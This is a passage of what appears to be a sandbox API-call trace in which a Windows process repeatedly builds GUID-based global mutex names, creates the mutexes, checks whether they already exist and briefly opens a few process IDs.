Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0111.665] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0111.665] GetLastError () returned 0x0 [0111.665] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0111.665] CloseHandle (hObject=0x13e0) returned 1 [0111.672] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.672] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0111.672] GetLastError () returned 0xb7 [0111.672] CloseHandle (hObject=0x13e0) returned 1 [0111.787] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0111.787] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0111.788] GetLastError () returned 0xb7 [0111.788] CloseHandle (hObject=0x13e0) returned 1 [0111.788] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0111.788] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0111.788] GetLastError () returned 0xb7 [0111.788] CloseHandle (hObject=0x13e0) returned 1 [0111.789] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0111.789] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0111.789] GetLastError () returned 0x0 [0111.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0111.789] CloseHandle (hObject=0x13e0) returned 1 [0111.789] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0111.789] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0111.789] GetLastError () returned 0x0 [0111.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0111.789] CloseHandle (hObject=0x13e0) returned 1 [0111.789] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0111.789] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0111.790] GetLastError () returned 0xb7 [0111.790] CloseHandle (hObject=0x13e0) returned 1 [0111.790] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0111.790] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0111.790] GetLastError () returned 0x0 [0111.790] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0111.790] CloseHandle (hObject=0x13e0) returned 1 [0111.797] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.797] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0111.797] GetLastError () returned 0xb7 [0111.797] CloseHandle (hObject=0x13e0) returned 1 [0111.935] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0111.935] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0111.935] GetLastError () returned 0xb7 [0111.935] CloseHandle (hObject=0x13e0) returned 1 [0111.935] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0111.935] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0111.936] GetLastError () returned 0xb7 [0111.936] CloseHandle (hObject=0x13e0) returned 1 [0111.936] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0111.936] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0111.936] GetLastError () returned 0x0 [0111.936] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0111.936] CloseHandle (hObject=0x13e0) returned 1 [0111.936] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0111.937] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0111.937] GetLastError () returned 0x0 [0111.937] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0111.937] CloseHandle (hObject=0x13e0) returned 1 [0111.937] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0111.937] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0111.937] GetLastError () returned 0xb7 [0111.937] CloseHandle (hObject=0x13e0) returned 1 [0111.937] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0111.937] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0111.937] GetLastError () returned 0x0 [0111.938] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0111.938] CloseHandle (hObject=0x13e0) returned 1 [0111.945] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.945] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0111.945] GetLastError () returned 0xb7 [0111.945] CloseHandle (hObject=0x13e0) returned 1 [0112.096] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0112.097] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0112.097] GetLastError () returned 0xb7 [0112.097] CloseHandle (hObject=0x13e0) returned 1 [0112.097] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0112.097] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0112.097] GetLastError () returned 0xb7 [0112.097] CloseHandle (hObject=0x13e0) returned 1 [0112.097] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0112.097] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0112.098] GetLastError () returned 0x0 [0112.098] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0112.098] CloseHandle (hObject=0x13e0) returned 1 [0112.098] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0112.098] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0112.098] GetLastError () returned 0x0 [0112.098] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0112.098] CloseHandle (hObject=0x13e0) returned 1 [0112.098] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0112.098] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0112.098] GetLastError () returned 0xb7 [0112.098] CloseHandle (hObject=0x13e0) returned 1 [0112.099] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0112.099] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0112.099] GetLastError () returned 0x0 [0112.099] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0112.099] CloseHandle (hObject=0x13e0) returned 1 [0112.106] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0112.106] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0112.106] GetLastError () returned 0xb7 [0112.106] CloseHandle (hObject=0x13e0) returned 1 [0112.256] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0112.256] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0112.256] GetLastError () returned 0xb7 [0112.256] CloseHandle (hObject=0x13e0) returned 1 [0112.256] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0112.256] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0112.257] GetLastError () returned 0xb7 [0112.257] CloseHandle (hObject=0x13e0) returned 1 [0112.257] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0112.257] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0112.257] GetLastError () returned 0x0 [0112.257] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0112.257] CloseHandle (hObject=0x13e0) returned 1 [0112.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0112.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0112.258] GetLastError () returned 0x0 [0112.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0112.258] CloseHandle (hObject=0x13e0) returned 1 [0112.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0112.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0112.258] GetLastError () returned 0xb7 [0112.258] CloseHandle (hObject=0x13e0) returned 1 [0112.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0112.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0112.258] GetLastError () returned 0x0 [0112.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0112.258] CloseHandle (hObject=0x13e0) returned 1 [0112.266] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0112.266] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0112.266] GetLastError () returned 0xb7 [0112.266] CloseHandle (hObject=0x13e0) returned 1 [0112.474] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0112.474] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0xef8 [0112.474] GetLastError () returned 0xb7 [0112.474] CloseHandle (hObject=0xef8) returned 1 [0112.474] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0112.474] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0xef8 [0112.475] GetLastError () returned 0xb7 [0112.475] CloseHandle (hObject=0xef8) returned 1 [0112.475] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0112.475] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0xef8 [0112.475] GetLastError () returned 0x0 [0112.475] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0112.475] CloseHandle (hObject=0xef8) returned 1 [0112.475] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0112.476] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0xef8 [0112.476] GetLastError () returned 0x0 [0112.476] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0112.476] CloseHandle (hObject=0xef8) returned 1 [0112.476] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0112.476] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0xef8 [0112.476] GetLastError () returned 0xb7 [0112.476] CloseHandle (hObject=0xef8) returned 1 [0112.476] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0112.476] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0xef8 [0112.476] GetLastError () returned 0x0 [0112.476] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0112.476] CloseHandle (hObject=0xef8) returned 1 [0112.483] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0112.484] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0xef8 [0112.484] GetLastError () returned 0xb7 [0112.484] CloseHandle (hObject=0xef8) returned 1 [0112.677] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0112.677] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0112.677] GetLastError () returned 0xb7 [0112.677] CloseHandle (hObject=0x13e0) returned 1 [0112.678] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0112.678] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0112.678] GetLastError () returned 0xb7 [0112.678] CloseHandle (hObject=0x13e0) returned 1 [0112.678] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0112.678] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0112.678] GetLastError () returned 0x0 [0112.678] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0112.678] CloseHandle (hObject=0x13e0) returned 1 [0112.679] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0112.679] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0112.679] GetLastError () returned 0x0 [0112.679] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0112.679] CloseHandle (hObject=0x13e0) returned 1 [0112.679] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, 